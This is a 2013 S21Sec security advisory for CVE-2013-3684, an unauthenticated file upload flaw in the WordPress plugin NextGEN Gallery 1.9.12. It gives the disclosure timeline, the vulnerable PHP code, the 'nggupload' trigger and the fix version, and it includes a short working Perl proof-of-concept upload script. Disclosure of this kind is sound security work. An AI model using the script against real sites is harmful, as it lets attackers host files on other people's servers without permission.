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                      - S21Sec Advisory -


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     Title:   NextGEN Gallery 1.9.12 Arbitrary File Upload
        ID:   S21SEC-046-en
    CVE ID:   CVE-2013-3684
  Severity:   High
    Status:   Fixed
   History:   27.May.2013 Vulnerability discovered
              28.May.2013 Vendor informed
              12.Jun.2013 Fix released
    Authors:  Marcos Agüero (maguero@s21sec.com)
       URL: http://www.s21sec.com/images/labs/advisories/s21sec-046-en.txt
   Release:   Public


[ SUMMARY ]

NextGEN Gallery is a WordPress gallery plugin that offers sophisticated 
gallery management and
displays. It's one of the most popular plugins ever produced for 
WordPress, currently downloaded
around 30,000 times per week.

[ AFFECTED VERSIONS ]

     * NextGEN Gallery 1.9.12

[ DESCRIPTION ]

NextGEN Gallery allows file upload to unauthenticated users. Filters in 
place only permits uploads
of image files (extensions .gif, .png and .jpg). This avoids scripts 
execution problems but an
attacker could use the affected system to host files.

Vulnerability occurs due an innapropiate cookie validation in 
admin/upload.php script:

     if (wp_validate_auth_cookie()) {
         $results = wp_parse_auth_cookie();
         $logged_in = FALSE;
         if (isset($results['username']) && isset($results['expiration'])) {
             if (time() < floatval($results['expiration'])) {
                 if (($userdata = 
get_userdatabylogin($results['username'])))
                     $logged_in = $userdata->ID;
             }
         }

         if (!$logged_in) die("Login failure. -1");
         else if (!user_can($logged_in, 'NextGEN Upload images')) {
             die('You do not have permission to upload files. -2');
         }
     } # VULN: No auth cookie is okay!

This can be triggered by invoking 'nggupload' parameter on any valid 
wordpress URL:

ngggallery.php:

     // Handle upload requests
     add_action('init', array(&$this, 'handle_upload_request'));

     [...]
     function handle_upload_request()
     {
         if (isset($_GET['nggupload'])) {
             require_once(implode(DIRECTORY_SEPARATOR, array(
                 NGGALLERY_ABSPATH,
                 'admin',
                 'upload.php'
             )));
             throw new E_Clean_Exit();
         }
     }

[ POC ]
#! /usr/bin/perl
use LWP;
use HTTP::Request::Common;

my ($url, $file) = @ARGV;

my $ua = LWP::UserAgent->new();
my $req = POST $url,
     Content_Type => 'form-data',
     Content =>    [
             name => $name,
             galleryselect => 1,        # Gallery ID, should exist
             Filedata => [ "$file", "file.gif",  Content_Type => 
'image/gif' ]
         ];
my $res = $ua->request( $req );
if( $res->is_success ) {
     print $res->content;
} else {
     print $res->status_line, "\n";
}

[ SOLUTION ]

Version 1.9.13 released by vendor. 
http://wordpress.org/plugins/nextgen-gallery/

[ REFERENCES ]

* S21Sec
   http://www.s21sec.com

-- 
S21sec

*Marcos Agüero*
/S21sec ACSS/

Tlf: +34 902 222 521

www.s21sec.com <http://www.s21sec.com>, blog.s21sec.com 
<http://blog.s21sec.com> securityblog.s21sec.com 
<http://securityblog.s21sec.com>

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